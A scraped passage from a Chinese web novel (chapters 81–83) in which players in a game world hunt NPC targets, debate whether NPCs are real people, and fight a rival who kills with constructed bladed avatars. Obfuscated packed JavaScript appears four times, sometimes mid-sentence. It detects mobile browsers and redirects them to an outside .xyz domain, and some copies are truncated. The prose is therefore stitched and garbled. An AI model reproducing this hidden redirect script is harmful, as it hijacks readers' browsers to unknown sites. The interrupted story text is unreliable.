“我觉得啊,这肯定是对手干的!他们觉得赢不了我们,所以只能用这种脏手段!” “对对对,之前那个小妞不是还和肖昌盛有仇吗,肯定是她!” 两人已经开始明目张胆地祸水东引,试图让老大把目光转向别人身上。 唐瑜妡揉了揉眉心,冷眼看着两个激动不已的下属,“所以,你们到现在还不清楚对面是怎么找目标的?之前让你们跟的人呢?” 两人的叫骂戛然而止,气焰弱下去,“那小子实在滑不留手,所以……跟丢了。” 唐瑜妡冷笑一声,“情报没弄到,人也跟丢了,现在就连队友死在面前也不知道怎么回事,你说你们还有什么价值?” 两人大惊失色,“对不起,都是我们无能,接下来一定……” “行了!”唐瑜妡打断他们,眼中闪烁着幽幽暗光,“之后,你们自己用子弹去试,能试出规则就算将功补过,我不追究过失,试不出……那就永远留在这里吧!” 说完不管他们的求饶,造出两个模型将人扔出废楼基地,“记住,如果比我知道得还晚,你们一样得留下来。” 华浩俊一言不发地看着他们被拖走,收回看脏东西的目光,指了指剩下的死人肖昌盛,“这个怎么处理?” “不管。”说完之后唐瑜妡愣了愣,眼里闪过深思,重新看向尸体,“他似乎是被一刀割喉的呢,手上有水渍,之前在使用技能。” 肖昌盛的技能是控水,不过他的能力范围很小,最多只能搓个小水球,攻击力度非常低,也因此他很少在技能者面前用出来,用出来丢人。但是对于普通人,他却会有意无意地在他们面前炫耀以挽回自尊。 所以这会是他在炫耀的时候被攻击了,还是他在临死之前的微弱反抗呢? 唐瑜妡冷漠地看着尸体,发动了自己的技能。在之前的副本里,她一直可以操控死亡玩家的尸体,直到他们在午夜零点被刷新,但如果是真实尸体,她是无法控制的,就如同在副本里捡来的各种真实衣物和食物一样。 毕竟,她的技能名称叫“建模”。 “肖昌盛”晃晃悠悠地站起身,无神地看向三人。 “可以控制。”她的心松了松,“这里和普通副本一样,没有真实死亡。” …… “吓死我了,我还以为你真的要抓他呢。”孟锦竹心有余悸道, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14935559|154808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “他的价值很高,你……唔,你以前可没有这么吓人啊。” “只是趁机诈点情报罢了,不会真的抓他当目标的,不就得到他的指引找到了这里吗?人多,拐角多,容易绑架人。”被指路方便暗算别人的地方——商城了两人在快餐店靠窗的位置坐着,林屿正在啃系统商城里买的馒头,她在进副本之前就有些饿了,然而一直没来得及吃东西,直到现在才在等人的片刻得了空闲。 “现在吃……会不会有些浪费?有饱腹感吗?万一回城之后胃里的刷新了呢?”孟锦竹看着招牌上的炸鸡可乐十分意动——她都多久没吃过这些了!可惜减重营出来之后她就不敢随意在副本吃东西了。 林屿也是一样,再加上副本里的食物大多数都是假的,所以东西都是自己花费积分买的,大口吃了两个馒头之后,感受了一下,“有,我现在不饿了,这样说来……我们是真人来到特殊副本的?” “那就糟了!”孟锦竹说道,“这下我们必须避免受伤,还要想尽办法赢得比赛。”然而说着她的声音低下去。 “那他们也都是真人吗?” “不确定,也可能是一段数据,拔掉白刺就会激活某段记忆程序。” 孟锦竹眼中的光亮了些。 “不过我倾向于是真人。”林屿灌了口水,看了看塑料瓶上的商标和日期,笑了笑,“从现实里偷的,这个日期……原来我们在这里已经至少过了一周啊。” “可以偷物资,为什么不能偷人呢?我们就是被偷的。虽然不知道世界上有没有鬼魂啊灵异啊这些东西,但如果有的话,是不是也会被偷到这里呢?” 其实这个猜想很多人都有,因为商城里那些贩售的食物现实标记实在太过明显,包装和外面分毫不差,简直像走进百货商城一样。但是和生出这个猜想的容易程度相反,几乎没人能证实这个想法。 而现在,黄瓜摊主的话无疑能成为它的佐证,顺着这个想法往下,勾勒出的隐约真相却让人心生寒意。 究竟是谁,策划了这场灾难?他聚集起如此多的人口,最后的目的又是什么呢?是一场违反法律和人权的实验,还是仅仅为了玩乐? 孟锦竹的沉默持续了好一会儿,却是问出了另一个问题,“你还会扣动扳机吗?” 在知道所有NPC都有可能是真正人类的灵魂之后,你还会加入杀戮这些无辜者的行列吗? 林屿定定地看着她,想了想,还是没有隐瞒,“我会,我甚至在想捉到有技能的假目标之后能不能拔掉白刺,人为制造一个目标出来。” “你……” 孟锦竹瞪大眼睛,有些难以置信耳朵听到的回答,她或许想过林屿会肯定,却没想到她比想象的还要残酷,这个直接坦白的答案戳动了潜伏在人心底的恶念,孟锦竹有一瞬间顺着这个想法思考了:如果是这样,那么他们很快就能赢得这场赌约,种植者联盟胜利,不会再损失一分一毫,也不会将全部身价赔付出去。 但很快,她就反应过来,有一股发冷的感觉从心底直直流淌到指尖。 “这是你的真心话吗?在你新手副本的时候,你明明主动帮了那个NPC,还帮了好几个新玩家……” 81.第八十一章 因为特殊的家庭氛围以及交友稀少,林屿极少和别人倾吐心声,她在家中无师自通地学会了虚与委蛇,没道理与人交往的时候忘记这个习惯,然而和孟锦竹合作共赢乃至交托生死了好几个副本之后,即使相识时间不长,也培养出了些亲近和情谊,她不介意坦露一部分真实的想法。 何况,她也有好奇的事情。 “你想说我被同化堕落成很多老玩家那样了,没有坚持善良的本心?”林屿反问道。 孟锦竹没有直接回答,她换了一个角度,“在学校的时候,虽然你可能不熟悉我,但我观察过你。” 她不自在地抿了抿唇,“很多人都羡慕你有这样一个父亲,你可以不用给导师干苦力,不用担心文章被抢一作,就连奖学金和升学名额可能都内定了……” 林屿不置可否,“所以呢,你也是这样看我的吗,一个关系户?” “唔,或许吧,我还是挺羡慕你的,不过也觉得……”孟锦竹看了看她的脸色,“你可能和你爸关系不好,他从来不对你笑,你也从来不对他笑。” 林屿动作顿住。 “有次路过他办公室,我听到他在骂你……额,骂你废物,傻子,放弃他留下的硕博连读名额,跑到另一个和他不对付的导师那里做没用的研究。”孟锦竹说得小心翼翼,“就感觉,这份特权,或许不是你想要的。” 林屿慢慢看向她,即使现在小伙伴变成了一副平凡相貌,语气和谨慎,但她的眼睛里却装满了很清澈的东西。 “有时候我看到你会喂流浪猫,就会想,其实你是个很善良的人吧,不然也不会费心思去帮助一些对人有防备心的动物了。” “所以呢?” “所以我在想,其实你心底并不想那么做,只不过太想要我们赢了,对不对?” 这下沉默的人换成了她,林屿好一会儿都撑着手肘,看向玻璃窗外来来往往的人群。 “但要是把善良和性命,或是自由放在一起选择呢?只能选一个的时候,你会怎么选?”林屿重新看向小伙伴,“当时我们被困在负一楼,你拿着匕首一个人藏起来,之后□□来找你,你把他怎么样了?我最后没机会知道他是生是死,你是唯一知道答案的人。” 她的眼睛看向对面,不给孟锦竹躲闪的空间,就这样一点也不委婉地问出了这个一直好奇,却有些残酷的问题。 孟锦竹放在圆形小桌子上的手止不住地颤抖起来,过了一会儿,就在林屿以为她会碎掉或是崩溃时,她却逐渐平静下来,目光直愣愣地往着前方,“他死了,我当时不想杀他的,可是他想叫人,而一旦出声我就会被发现……所以我只有、只有抹了他的脖子。” “对不起。”林屿诚恳说道。 “为什么道歉?” “当时你救了我,而我却戳你的伤疤,说了你不想听的。” 孟锦竹叹气,却根本没有责备她的意思,“我只是不愿意回想,不愿意面对,但其实……早该想明白了。” “所以,你打算怎么做?回去,还是留下?” 孟锦竹没有犹豫,“留下,我还要帮你们绑架目标,但我希望尽量不要用你说的方法,故意把NPC变成目标什么的。” 其实林屿没有觉得这件事和之前越过预设道德线的事有太大区别,或许是感受到小伙伴的不解,孟锦竹解释道:“虽然是为了追求公平和正义,但我们是在做错的事吧,手段会扭曲目标的,不在迫不得已的情况下还是不要那么做。” 不对,我追求的不是公平和正义,因为我根本不相信公平和正义。林屿心中有个声音说着,我追求的是自由与胜利。 “那就这么说定了?”孟锦竹抓住小伙伴的手腕晃了晃。 “……”林屿目光停在皮肤接触的地方,感受到另一个人掌心的温度,又在她期待脸上转了一圈视线,原本要含糊过去的话转了一圈,变成了同意,“好啊,庄建说快到了,我们也该开始找下一个目标,走吧,恶人‘银屑杀手’出动,开启业务模式——” …… 被按在地上的服务生僵硬着脸,不可思议又怨毒的表情随着全身掉落的白渣裂成几瓣,碰在地上,转眼散成一地碎渣。 “这么快就找到一个目标……看来有NPC内应就是方便,所以你的齐了?”孟锦竹从高壮猛男变化回平平无奇的皮肤,起身拍了拍裤腿上的碎屑,唏嘘地看着地上的狼藉,“虽然有点对不起,但我觉得你们大概率还是假人,毕竟这个死亡效果也太——像科幻电影了吧。” 林屿看着地上的白色尘土,心说“银屑杀手”这个有一丝搞笑的名字还真是实至名归,这特效也实在和玩家受伤死亡不太一样,真就像游戏为了过审而设计出来的。所以,黄瓜摊主所说的记忆,会不会就是每个NPC早已设计好的隐藏程序? 她的心脏砰砰地跳动,感觉自己已经快触摸到NPC身份的真相,几乎就只差临门一脚,可眼前还遮蔽着层层迷瘴。 如果NPC是程序,世界是游戏,那么“系统”就是那个剽窃整合了无数游戏世界的外来者。它挟持了这么多人,逼迫他们玩一场又一场看似危险却不会死亡的游戏,还持续不断地从外界盗取物资来养活他们,是为了什么呢? 娱乐、观察、实验,亦或筛选? 世界上有没有鬼魂一说,而系统又来自灵异还是高维呢? 林屿心绪万千,忽然被温热的手指碰了碰脸。 “你还好吧?”孟锦竹忧虑地弯腰看向她的眼睛。 “还好。” 林屿像是被烫到一般向后避了避,又发觉这个行为不妥似的,主动抓住了小伙伴的手。 脑海里,系统已经弹出了询问回城的选项,林屿顿了顿,选择了“推迟”,毕竟三个队友全部出去才算赢。 “庄建,对了,他应该到了,我们先去会和。” 她忽然转过头,望向身后的走廊,“有人来了!” 就在两人想要从另一头离开的时候,庄建的大嗓门响起,“喂!是你俩吗?” 他大踏步绕过拐角,就看到一地碎屑,以及站在旁边和他大眼瞪小眼的两人,张了张嘴,“刚才……你们满了吗?” “满了。”孟锦竹平淡地扫了他一眼,没有对这个自负离队又回来寻求帮助的队友发表什么看法,“你还差一个,跟着我们一起去找。” 庄建愣了愣,随即道:“好,我们去哪找?” 孟锦竹:“跟着我们就是了。” 几人离开员工通道,林屿眼尖地看见有侍者又要往这边走,拉住孟锦竹,“前面有人,我们走楼梯。” 说着,就往紧急通道的方向走去。 “等等!”庄建扯住她,“没必要吧,我们直接走出去就是了。” 林屿:“地上那摊东西还没清理,你希望我们暴露?” 之前她们在桥下的时候就因为绑架NPC被追杀,商场人多眼杂,绑架的第二个人就是后颈上没有白刺的目标,保不齐被谁说出去引来麻烦。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14976498|154808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “直接打晕他多方便啊,那边又没开门。”说着,庄建就上前往侍者的后颈上使劲砍了一手刀。 “真是简单粗暴啊……”孟锦竹小声嘀咕,而林屿则往没开门的紧急出口望了望,像是没有放弃的样子。 庄建把侍者拖到拐角转回来,挡住林屿的视线,“别看了,那边有人,你听声音就知道了。” 确实,两扇紧闭的门页后隐约传来动静,看起来不止有一个人在里面,要是避人倒还不如走员工通道。 林屿“唔”了一声,无所谓地说道:“行吧,你走前面,之后还有人也解决一下。” 很快,三人绕出曲折隐蔽的走廊,从巨大建筑的肠道中走出来,进入庞大的腹腔。方才还冷冷清清,然而一到商铺区,人来人往、灯火通明的热气就迎面扑来,穿着各异甚至奇形怪状的NPC在各类服装店、零食店或是饰品店穿行进出,三两结伴谈笑风生的场景让人恍惚回到了现实。孟锦竹眼睛浮现热意,狠狠眨了眨眼。 前方,庄建站定,略带不满地开口,“怎么不开始找人,你们还想不想赢?之前我按你们的方法为什么会错,这个时候了,你们种植者还藏着掖着不说,有意思吗?” 孟锦竹顿时反驳,“我们也不知道情况有变啊,之前我们也差点弄错!” “那说明你们有办法,怎么不通知我?” “通知了你也没用,只有林屿能分辨,但我们让你过来了好几次你都不理人。”孟锦竹生气地说道,种植者最开始是因为任向的事才惹上玩家公会的,现在被他们连累了这么大的危机,当事人却觉得种植者做得不够,简直是软饭硬吃得了便宜还卖乖! 后颈白刺作为最终确认手段,不知为何只有林屿能看见,这才是一直以来都是她检查NPC的原因,而之前的队友都是依靠有无技能分辨的,也都如实把方法告诉了庄建,只不过副本发生变故失了效,这才需要用上最终手段, “那你们现在是什么办法,总得让我心里有个底吧!”庄建不耐烦地质问道。 林屿截住想要说什么的孟锦竹,像是想起什么来一样忽然问道:“对了,之前不是让你到一楼集合吗,怎么知道我们在那里的?” “……我找地方的时候听见喊声,就顺便上来看看。”庄建缓缓答道。 林屿看了看他,也确实,那个被击杀的侍者最开始挣扎的时候喊了两嗓子,他这个回答没问题。 “总之,你去抓人,抓到了带过来,我们来分辨。” 庄建没动,“抓哪个?” “随便。”林屿吐出两个字,抱着胳臂又示意了一下大厅中央,“那边那个看起来像,你想让任向归属玩家公会就磨蹭下去吧!” 庄建没好气地走了,径直向目标靠近。 孟锦竹扯了扯林屿的衣袖,“你说我们在这里绑架人会不会……”被看到然后追杀啊? “不会。”林屿眼神定定地看着走过去的人,“那个是假货,不要被骗了!” “啊?!”孟锦竹瞠目结舌,看看林屿又看看庄建,眼神惊疑不定。 庄建已经走到目标身后,一只手搭上他的脖子,对方疑惑地扭头,还没有出声,就被勒得脸色通红说不出话来。他就这样装成好兄弟的模样,把人半拖半扶往后带。 就在他向两人走来的时候,林屿手往兜里一伸,抓到一把东西,技能瞬间发动。 她把手往庄建身上一指,用了这辈子最大的嗓音喊出来:“天哪!银屑杀手!!!” 82.第八十二章 不明的碎石从“庄建”头顶纷纷落下,她一摸肩膀,指尖沾满白灰,就在怔愣的刹那,人质挣脱桎梏,撕心裂肺地吼道:“杀人了!外来者杀人了!!!” 先前还优哉游哉逛店试衣服买东西的人群反应各异,有的不明就里向后方躲,有的面露警惕寻找掩体,还有的露出心照不宣的神色,呈包围之势向“庄建”逼近。 庄建——唐瑜妡想走,却发现迈不开腿了。 ——技能,只可能是NPC的技能。 已经有好几个NPC面露凶相,越过人群向她走来,可唐瑜妡面色未改,抬头看向林屿的方向。 “我只想知道,你是怎么发现的?” 林屿微笑着与她对视,“你确实装得很好,没有露出什么破绽,但是你忘了技能这个东西不讲道理。” “你的技能不是隔空给东西吗?就像弄我一身的白灰这样。” “只能说你的情报不够详细。” 眼见着唐瑜妡被NPC合围,林屿也不准备留下来欣赏对手落难的惨状,抓住孟锦竹的手臂,闪身往来时的方向跑去。 “我们现在怎么办,需要我做什么?”孟锦竹问道。 “救人,庄建被他们困住了,八成就困在刚才的紧急通道里。”林屿说完忽然听到背后有脚步声,步伐紧促,踩在地面沉闷的声音在耳膜里咚咚作响,连她的心跳都快了几分。 “那些NPC追过来了,我们往楼下走!” 轻手轻脚地绕路来到楼下紧急通道,林屿在门前站定,果不其然发现这里也被封住了,心却稳了稳,封住说明找对地方,人在里面。 “接下来需要你配合我一起把他带出来。”林屿看向孟锦竹,“我会让你进去,你记好落地点,然后和庄建一起站到落地点,弄出响声让我知道,然后我就把你们传送出来。” 孟锦竹说了声“好”就被仓促传送进楼道。林屿不知道自己为何如此心慌,明明已经坑了对面一道,并且甩开追兵,胜利在望。 对方根本不知道怎样准确分辨目标,不然也不会费这么大力气从他们这里打探消息,如今己方占尽优势,仅仅只差一人就能全员离开。 可她的心脏在胸腔里忐忑跳动。 林屿想起假庄建,有八成肯定这是唐瑜妡假扮的,但她的腿是怎么回事,进入副本反而可以行动无虞?她的技能又是什么呢,如果真的是变身,为什么田子阳还如此讳莫如深? 之前看到的白猫和麻雀,和她又有没有关系呢? 林屿能够隐约听到门缝都被封紧的防火门里的动静,过了一会儿,里面归于寂静,她猜测孟锦竹的加入让战局停歇,接下来只需要等待信号捞人,不由松了一口气。 三人会和后,只需要躲到玩家公会找不到的地方找到最后一个目标,种植者就可以从这场游戏中全身而退,唐瑜妡托大了,她想要不费一分一毫吞并种植者的企图就要付之东流。 而自己,则可以在种植者里悠闲地继续之前的生活。 …… 唐瑜妡看着先前挟持的男人慌慌张张地跑进人群里,随大流向反方向逃跑,与此同时,另一波人的存在感越发明晰起来。他们有手挽手的情侣,有服装店的店员,有四处闲逛的顾客,也有站在电梯口指路的侍者,在听到“外来者”的第一时间,不约而同地放下手中的事把她围住。 “我不知道NPC里还有这样的团队出现,你们专门捕杀玩家?”唐瑜妡没有被突变的情形吓到,站在原地不动。 “什么捕杀,你们又死不了,反而是我们被杀才是真的没了!”穿着夹克衫的男生愤怒道。 “阿六!”他旁边的店员呵斥,“别废话,直接动手!” 唐瑜妡发现自己脚下出现了一滩黏黏的胶质,即使挣脱了方才的技能也没法行走,与此同时,那些NPC已经拿出利器,明显不准备让她活着出去。她想起肖昌盛那道被割喉的伤口,却没有任何胆怯的想法,反而笑了,“原来你们比我想象的还要智能,但假人就是假人,数据只是数据,如果不是这局必须赢,我还真相拿你们试试枪口。” “少废话!外来者必须除掉!”店员奔至唐瑜妡身侧,手里的水果刀就往她脖子上划去,眼看着玩家公会就要出现第二个割喉死者,而唐瑜妡还没有丝毫反抗的姿态。 “咻!” 一道血箭泼撒在光可鉴人的地面,唐瑜妡好端端站在原地,略带兴致地看着店员手捂脖颈,难以置信地跪倒在地。 在这个玩家面前,不知何时围拢了三个身披斗篷的神秘人,其中一个胳臂横在身前,露出了如刀剑一般的上肢,而化作长刃的肢体末端浅浅沾了一层血迹。 店员捂着脖子喷涌的血流,蜷缩在地上,喉咙发出“咯咯”的响声,余下几个NPC直接被这一幕吓呆了,顿时进退维谷。 “点子硬,撤!” 有人喊了一声,这下原本就后退半步的人掉头就跑,但还有几个和店员关系近的,狠了狠心决定救人。 “老白死了就真的死了,救他!” 唐瑜妡像是没有看到席卷而来的各式技能,从粘在地上的鞋子里抽出脚,落地时却凭空穿上另一双厚底靴。她看着他们笑道:“明明你们才是讲义气的一方,但不得不先死,我心里过不去,所以会给你们一个痛快。不过我也不会放过逃跑的那些人,一定会带他们来作伴,我保证,他们的死状一定更惨。” 说着,那几人逃跑的方向传来尖叫和骚乱,伴随着求饶与哭喊,而她面前的斗篷人高高抬起长剑般的双臂,斗篷之下,露出平滑如镜的脸。 “都是一堆数据,我可没有耐心捏脸。” …… 林屿耳朵贴在门上,听里面的声音等待信号,说来奇怪,她感觉自己在用了很多次那种灵异视野后,能看到的东西发生了一点微妙的变化,她就是用这一招识破了唐瑜妡的伪装。 之前用灵异视野只能看见NPC身上的黑气,而玩家没有变化,但现在她却能看见玩家身上的明暗色泽——像雾一样朦胧一层覆盖在身体,不断变换流转,却又维持总体深浅一致。就像一副画卷,绝大部分人的明暗都在某一个区间,只有少数人极亮或极暗。 唐瑜妡的光团比庄建暗,林屿不知道亮暗代表什么,而她自己的身上的亮度更低。 她维持着这种偷感很重的姿势有一会儿了,听见几个零零碎碎的脚步声,心里想着等下有路人问起就说在抓奸,脚步越来越近,林屿不知为何心中不安,准备回过身装自然一点。脑后忽然感到一股凉风。 凭借还处于兴奋状态的神经和瞬间发软的腿,林屿矮身蹲下,躲过了从背后袭来的致命攻击。无面人的利刃手臂卡在门上,而它划过的地方是一道深深的犁痕。 这一下挨上了根本不是割不割喉的问题,而是半个身子会不会没了的问题啊啊啊!!! 饶是经历过几个副本大场面的林屿,也被这一瞬生死给吓到了,她,一个活在22世纪和平国家的女学生,遇到……不,是亲身经历着堪比血腥电影的恐怖场面! 无面人调整姿势抽出臂刃,眼看着第二刀紧接着落下,林屿一个鲤鱼打挺往旁边滚去,脊背撞上硬物,她抬头,和另一个无面人脸对脸。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14986367|154808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我真是日了鬼!”情绪激荡之下,林屿也忍不住骂人。如果是在家里,父母听到一定会斥责她好一会儿,但她现在骂出口只觉得不够,谁家好人会在比赛里出杀招啊! 现在她也反应过来了,这铁定是唐瑜妡的技能。 “不是日了鬼,是惹了我。” 说谁谁就到,唐瑜妡慢悠悠地从走廊另一头出现,身边还带着第三个无脸人,林屿一看,顿时脸色发白。 刚才还有机会逃的,现在技能发动的间隙很可能会被补位,送走一个来不及送第二第三个,一对四还是太掣肘了! 林屿见先前两个无面人没有再动手的意思,小心翼翼站起身,试图和对手交涉,“我以为我们的赌约不包含人身攻击这一项。” 唐瑜妡笑了笑,“但也没说不可以。” “约定俗成的事自然不用一一列举,不然三天三夜都拟不完。” “很可惜,赌约没有签合同。” “所以你是想反悔不赌了?” “不,我的意思是在情况不利的时候,用一些非常手段也不为过吧,当然,如果你愿意认输,我自然会放过你们。” 无面人伸出斗篷的臂刃闪烁着金属冰冷的寒光,殷红的血迹挂在锋刃上,沾湿衣领。林屿注意到这点,“你把刚才几个人给杀了?” “一堆数据而已,为什么不能?”唐瑜妡反问。 “数据?你认为他们是数据?” 唐瑜妡走近,“听说种植者联盟一直在探索世界真相,那你们认为副本里这些东西,这些长着人面孔的是什么?” 林屿感觉有和谈余地,虽然仍被几个大杀器围着,但方才的恐惧已经消散大半,“一个问题换一个问题。” “可以。” 得到准话后,林屿把黄瓜摊主的情况给她说了,“在达成某种条件后,NPC会觉醒一段记忆,其中有他们作为人的一生,包括死亡的瞬间。” 唐瑜妡一硒,“完全有可能是提前编辑好的程序。” “但是我们不能否认玩家死后或者失踪后转化为NPC的可能,这一点无法否认。” “也无法肯定不是吗?”唐瑜妡道,“用这种消息就不用交换了。” “言教授。”林屿看向她,“种植者的创始人言教授很可能是第一个被发现的例子,在见到他之后就见分晓。” 这下唐瑜妡终于来了兴致,“言教授啊,我记得他很早之前就失踪了……你们知道他在哪里?” “不知道具体位置,不过,他联系过我们,在几天前。”林屿定定地看着她,“现在,该你回答问题了:为什么认为NPC是数据?” “因为我的技能的名字叫建模——我可以用编程的方式在副本中创造一切生物的外壳,然后将意识投放其中,甚至能操控死亡的尸体,如果副本不是纯然的数据,我不知道还有什么能够支持这一点了。” 林屿脱口而出,“所以你的技能在白城不起效?” 看到唐瑜妡似笑非笑的目光,林屿闭上了嘴,然而在两秒之后又说道:“所以你攻击我,是认为我死了之后会去小黑屋,但我上个副本例子在先,你怎么能肯定这一点?” “我可以操控肖昌盛的尸体,说明真实的他不在这里,我无法操控实物。”唐瑜妡道,“所以你选择认输还是死?” 话题转了一圈,又回到原地,林屿满脸苦色,在这一刻终于体会到黄瓜摊主的痛苦,她眼睁睁看着逼近自己的沾血刀尖,忽然听到门后传出闷闷的喊声。 孟锦竹:“我们好了!!!” 啊这下,不会三人全灭吧? 83.第八十三章 无面人如同银镜一般的面容倒映出林屿惊慌失措的模样,唐瑜妡用作兵器的造物舍弃了人脸与上肢,有种科幻电影般的怪异,她说这几个“模型”里都是她的意识,而现在,像是恶意逗弄般,无面人即将戳到林屿脖子的尖刀没有继续向前,反而向上高高抬起,宛如行刑,宛如裁决。 唐瑜妡像是欣赏一出舞台剧,甚至自己也念上台词般的语句,“你我真是相似,明明我才是先想到利用NPC杀死对手的人,却阴差阳错被你返还到我身上,但是永远不要和深渊比较黑暗,也永远不要和别人比更‘恶’,尤其是在这种没有法度的地方。现在,我可以名正言顺地将你淘汰。” 林屿瞪大眼睛,刀尖的殷红像是一点燃烧的柴薪,从空中落下凌厉的弧度。 停下。 孟锦竹在门后大声呼喊,拍墙的闷声跌宕传来,但那一道红光已经落到眼前。 停下。 唐瑜妡愉快的声音传至耳畔,“种植者输了,你们以后都要任我差遣。” 停下。 这一瞬间,林屿不知道自己用了多少次技能,视线边缘溃散发黑,视野变幻不定,阵阵眩晕几乎让她吐出来,她想停下扶一会儿墙,却被拉扯着踉跄而行。 “别停下!他们就在后面,庄建挡不了多久!”孟锦竹嘶吼着,嗓音发哑,见林屿虚弱难行,干脆化身壮汉一把将她背起。 这时,林屿终于有机会往身后望一眼,铺天盖地的火焰灌满长廊,庄建双手平举,手掌竖立向前,凭空喷出熊熊烈焰。三个无面人就在几步之遥呈盾牌形站立,用身躯替唐瑜妡撑出了一方躲避之所。 热浪几乎要席卷到林屿背上将她烫伤,然而早该化为焦炭的无面人却完好无损,他们身上就像是在经历某种刷新一样,一旦燃起火焰就会马上恢复原状,双方僵持不下,现在比拼的就是他们的精神力。 庄建之前一直是一副鼻孔朝天的自负模样,没想到他的技能竟然是这样厉害,难怪可以独自保下一个种植者远离纷扰。 林屿感叹,“真是酷炫啊,对比起来我们的技能简直可怜得让人想哭。” 孟锦竹一脸羡慕嫉妒恨地点头。 “对了,我们刚才是怎么跑出来的?”林屿问道。 “你不知道?刚才真是吓死我了,一出来就看到刀子比在你喉咙上,然后我就一个回旋踢把斗篷人踹开,然后那边就想一起上,庄建不得不上去断后。”孟锦竹回头看了一眼,“他现在也在断后呢。” 刀子比在喉咙上?林屿还待细想之前的事情,然而背后的火焰已经越来越小,她当机立断道:“好了拐弯!对面马上追过来了!” …… 负一楼。 挡光帘一落,酒吧里重新归于黑暗,台上亮蓝浓紫的灯光四处扫射,被照亮处尽显暧昧调情的景色。林屿依偎在帅哥壳子的孟锦竹身上,借此拒绝掉前来搭讪的男男女女,一边找不显眼的角落一边交流情况。 “你说他能顺利摆脱追兵和我们会和吗?” “可以吧,我都用技能把后路堵住了,要不是华浩俊突然出现我们都不用分散着逃。”林屿想要起身,却被摁在硬邦邦的胸肌上,感觉有些喘不过气,“轻一点,再这样用力我就要弯了。” “啊对不起!”孟锦竹不好意思地放开手臂,“主要是你看起来很虚。” 之前为了脱困,林屿胡乱用了很多次技能给走廊添加障碍物甩开追兵,导致现在有点精力不济站立不稳,活脱脱被身边的孟帅哥榨干的模样,不过在缓了一会儿之后已经好多了。正好看到一个没有人的位置,林屿一屁股坐下,把自己甩在沙发上,抬了抬眼皮上下打量了小伙伴一番,随后用力捂住眼睛。 “别用这个形象,太张扬了,旁边好多人都在偷看你。” “啊?哦。”孟锦竹从善如流换了一个平平无奇的模样,“我只是觉得那个样子和夜场很配。” “……是很配。”贺望的外观和这个地方能不配吗?但是林屿和他靠这么近心里不自在,就算知道壳子下是孟锦竹,心里依然别扭。 在庄建断后阻拦无面人快要坚持不住的最后,林屿找到附近的一个杂物间,把里面的工具一股脑地堆在走廊上,让唐瑜妡没办法追上三人,然而被驴的华浩俊发现要看住的人不见了,出来正好遇到他们,可惜当时林屿和庄建已经放不出技能,不然根本不需要逃。 林屿这时终于有机会回想自己差点被处刑的那一幕,当时命在弦上,记忆有些混乱不清,她不记得自己什么时候把两个队友从另一边转移出来的了,但精神力的消耗远高于平常,其实她很惊讶自己竟然没有受伤,究竟是他们反应快还是别的原因? “对了,之前……”林屿刚一开口,门口的帘幕就被掀开,她们剩下的那个队友终于到场。 孟锦竹起身挥手示意,庄建大步流星地走来。 没问题。林屿用灵异视野检查了一遍,坐回原位。酒吧里的人多多少少身上都有层黑气,而唐瑜妡的造物在视野里是空白的,虽然人多容易看漏,但至少周围座位的人都是正儿八经的NPC。 “只差最后一个了,我们现在动手?”庄建来到她们这一桌。 “砰!” 林屿正要点头,忽然地面一震,有人重重砸在背后的座位上,随后响起一道压低的凶狠嗓音:“说好的货,我东西都准备好了,你拿不出来?” “哎哎哎别打人,说好的我已经给你了,你现在要的不是之前那个价。” “你找死!”凶狠嗓音说着似乎开始动手,随后响起了另一个声音的哀哀求饶。 “唉哟!唉哟!别打脸,你要我现在也没有,只能给你这个。” “这是什么?一张破纸!”说着又动了两下手。 “入场券!这是入场券!你去看看就知道了!”随后这个声音低声说了几句,字句模糊在夜场吵闹的调笑声里。 “哼!要是你敢骗我……” 庄建听了全程,把拳头按出响声,“那人走了,还有个被打得起不来,我们正好捡个现成,看看这个是不是目标。” 林屿:“…………” 孟锦竹:“…………” 两人面面相觑,眼看着庄建就要动手,林屿一个鲤鱼打挺跳起来阻止他,“等等等等,是……是认识的……” 她转过头恨铁不成钢地看着黄瓜摊主,“你又在这里搞什么鬼?” 黄瓜摊主顶着黑眼圈,一脸蒙圈地张大了嘴巴,随后一嗓子哭出来,“我怎么哪哪而都能看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 